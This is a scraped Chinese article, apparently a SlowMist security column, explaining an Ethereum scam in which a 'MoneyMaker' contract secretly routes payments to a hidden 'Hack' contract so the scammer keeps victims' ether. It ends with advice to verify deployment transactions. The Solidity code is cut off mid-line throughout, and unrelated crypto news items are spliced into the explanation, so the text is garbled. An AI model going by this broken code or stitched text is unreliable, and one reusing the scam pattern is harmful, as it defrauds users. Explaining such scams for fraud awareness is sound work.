概述
上期我们了解了利用 tx
function makeMoney(address recipient) public payable { require(msg
}contract Vault { address private maker; address private owner; uint256 transferGasLimit; constructor() payable { owner = msg
modifier OnlyMaker() { require(msg
modifier OnlyOwner() { require(msg
function setMacker(address _maker) public OnlyOwner { maker = _maker; } function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this)
function withrow() public OnlyOwner { (bool success, ) = owner
(""); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil; constructor(address _evil) { evil = _evil; } modifier OnlyEvil() { require(msg
function transfer() public payable { emit taunt("Haha, your ether is mine!"); } function withrow() public OnlyEvil { (bool success, ) = evil
receive() external payable {} fallback() external payable {}}局分析
报告:以太坊智能合约部署在2022年跃升293%:金色财经报道,根据Alchemy的一份新报告,与2021年相比,2022年部署在以太坊上的智能合约数量猛增近300%。与2021年相比增长了293%,达到了与去年峰值相似的增长率。值得注意的是,这一活动高峰出现在2022年第四季度,当时FTX崩盘,导致该行业最大交易所的资金大量外流。根据该报告,2022年第四季度部署的智能合约数量环比增长453%,达到惊人的460万。此外,在2022年的最后三个月,以太坊Goerli测试网上的智能合约部署增长了187%,同比增长高达721%,达到270万的历史新高。[2023/1/18 11:17:32]
可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:
MoneyMaker 合约代表 A 合约;
Vault 合约代表 B 合约;
Hack 合约代表 C 合约。
所以用户以为的调用路径为:
MoneyMaker -> Vault。
而实际的调用路径为:
MoneyMaker -> Hack。
下面我们来看看攻击者如何完成局的:
1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;
2. Evil 部署 Hack(C) 恶意合约;
Decentraland安全报告:已修复LAND智能合约严重漏洞,将持续打击IP侵权行为:5月4日消息,元宇宙项目Decentraland发布安全报告,报告显示一名安全研究人员曾于3月发现了LAND智能合约的一个严重漏洞,该漏洞允许任何人在未经LAND所有者许可的情况下转让LAND,Decentraland在确认后的两小时内修复了漏洞并对LAND智能合约进行了两次额外的审计。
此外,Decentraland基金会表示其在过去的几个月中分析了881个网站页面、400个域名、399个移动和桌面应用程序以及1187个社交媒体列表,成功删除了侵权的2个网站、24个域名和5个社交媒体帐户。[2022/5/4 2:48:57]
3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker() 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney() 向合约中打入不少于一个以太都会得到双倍以太的回报;
4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;
5. Bob 调用 MoneyMaker.makeMoney() 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。
数据:智能合约中的LINK供应量比例刷新两年高点:Glassnode数据显示,智能合约中的LINK供应量比例已达到51.282%,刷新两年高点。[2020/7/5]
咋回事呢?其实这个局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney() 时并不会像他想像中的那样 MoneyMaker.makeMoney() 去调用 Vault.transfer() 回打给他双倍的以太,而是调用了 Hack.transfer() 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow() 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow() 将 Bob 转入的 20 ETH 转出。
预防建议
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
慢雾科技
个人专栏
阅读更多
金色荐读
金色财经 善欧巴
迪新财讯
Chainlink预言机
区块律动BlockBeats
动态 | 去中心化交易所AirSwap出现智能合约漏洞 目前已修复:据theblockcrypto报道,以太坊去中心化交易所AirSwap称,发现一个智能合约漏洞,该漏洞允许攻击者直接进行代币交易,而无需对手方确认。据AirSwap团队称,该漏洞仅在其系统中出现不到24小时,其中10个账户被确定为“有风险”。确定漏洞后,AirSwap团队进行回滚处理,并联系相应用户进行补救措施。[2019/9/15]
白话区块链
金色早8点
Odaily星球日报
MarsBit
Arcane Labs
动态 | Blockstream推出区块链智能合约编程语言:据CryptoInsider报道,区块链公司Blockstream宣布推出区块链智能合约编程语言Simplicity。Blockstream团队介绍称,以太坊的EVM语言具有安全漏洞,会导致资金被盗且无法追回,比特币的script语言则表达能力有限。Simplicity克服了这些缺点,而且语法和语义更简单。[2018/12/1]
郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。